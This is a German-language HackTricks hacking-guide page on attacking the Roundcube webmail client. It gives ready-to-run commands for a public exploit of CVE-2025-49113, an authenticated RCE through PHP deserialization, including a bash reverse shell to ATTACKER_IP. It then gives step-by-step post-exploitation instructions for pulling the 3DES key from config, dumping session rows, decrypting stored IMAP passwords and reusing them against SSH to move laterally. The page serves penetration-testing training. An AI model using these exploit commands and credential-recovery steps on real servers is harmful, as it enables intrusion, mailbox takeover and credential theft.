Roundcube

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Überblick

Roundcube ist ein PHP-Webmail-Client, der häufig auf HTTP(S)-vhosts (z. B. mail.example.tld) exponiert ist. Nützliche fingerprints:

  • HTML-Quelltext leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
  • Standard-App-Pfad in containers/VMs: /var/www/html/roundcube
  • Hauptkonfiguration: config/config.inc.php

Authenticated RCE via PHP object deserialization (CVE-2025-49113)

Betroffene Versionen (laut vendor/NVD):

  • 1.6.x before 1.6.11
  • 1.5.x before 1.5.10

Bug summary

  • Der _from-Parameter in program/actions/settings/upload.php wird nicht validiert, wodurch die Injektion vom Angreifer kontrollierter Daten möglich ist, die Roundcube später unserializes, was zur Ausführung einer gadget chain und zur remote code execution im Web-Kontext (post-auth) führt.

Quick exploitation

  • Voraussetzungen: gültige Roundcube-Zugangsdaten und eine erreichbare UI URL (z. B. http://mail.target.tld)
  • Öffentlicher PoC automatisiert session handling, gadget crafting und den upload flow
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD

# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"

# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"

Notes

  • Die Ausgabe ist oft blind; verwende sleep N, um RCE zu validieren
  • Die resultierende Shell läuft typischerweise als www-data; bei containerisierten Deployments ist mit /.dockerenv und 172.17.0.0/16 Netzwerk zu rechnen

Post‑exploitation: IMAP‑Passwörter aus Roundcube‑Sessions wiederherstellen

Roundcube speichert das IMAP‑Passwort des aktuellen Benutzers in der Session (Datenbank), verschlüsselt mit dem serverseitigen 3DES key, der in config.inc.php konfiguriert ist. Mit Zugriff auf das Dateisystem oder die DB des Roundcube‑Hosts kannst du Klartext‑Passwörter wiederherstellen und in andere Mailboxen/Services pivotieren (SSH reuse is common).

  1. DB DSN und 3DES key aus der Konfiguration auslesen

config/config.inc.php typically contains:

$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
  1. Mit DB verbinden und Sessions auslesen
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube

mysql> SELECT id, created, changed, vars FROM session\G

Das session.vars field ist ein Base64 blob, das durch Roundcube’s encrypt() erzeugt wird: Base64( IV || 3DES-CBC(plaintext) ). Die ersten 8 Bytes nach dem Base64‑decoding bilden den IV.

  1. Passwortfeld lokalisieren

Eine schnelle Methode, die Anmeldedaten innerhalb der entschlüsselten Struktur zu finden, ist zunächst das vars field per Base64 zu decodieren und visuell nach serialisierten Einträgen zu suchen:

echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
  1. Entschlüsseln mit dem Roundcube-Helfer

Roundcube stellt eine CLI bereit, die dieselbe rcmail->decrypt()-Logik und den konfigurierten des_key verwendet:

cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
  1. Manuelle 3DES-CBC Entschlüsselung (optional)
  • Ciphertext format: Base64( IV(8B) || CT )
  • Alg: 3DES-CBC, Schlüssellänge 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv

Gängige Speicherorte

  • DB table: session (users table ordnet Login‑Namen IDs zu)
  • Konfigurationspfad: /var/www/html/roundcube/config/config.inc.php

Operative Verwendung

  • Ältere session rows enthalten oft IMAP-Passwörter vorheriger Benutzer; decrypt mehrere Einträge, um laterally in andere mailboxes zu gelangen
  • Teste wiederhergestellte Credentials gegen SSH oder andere Services, wenn credential reuse vermutet wird

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks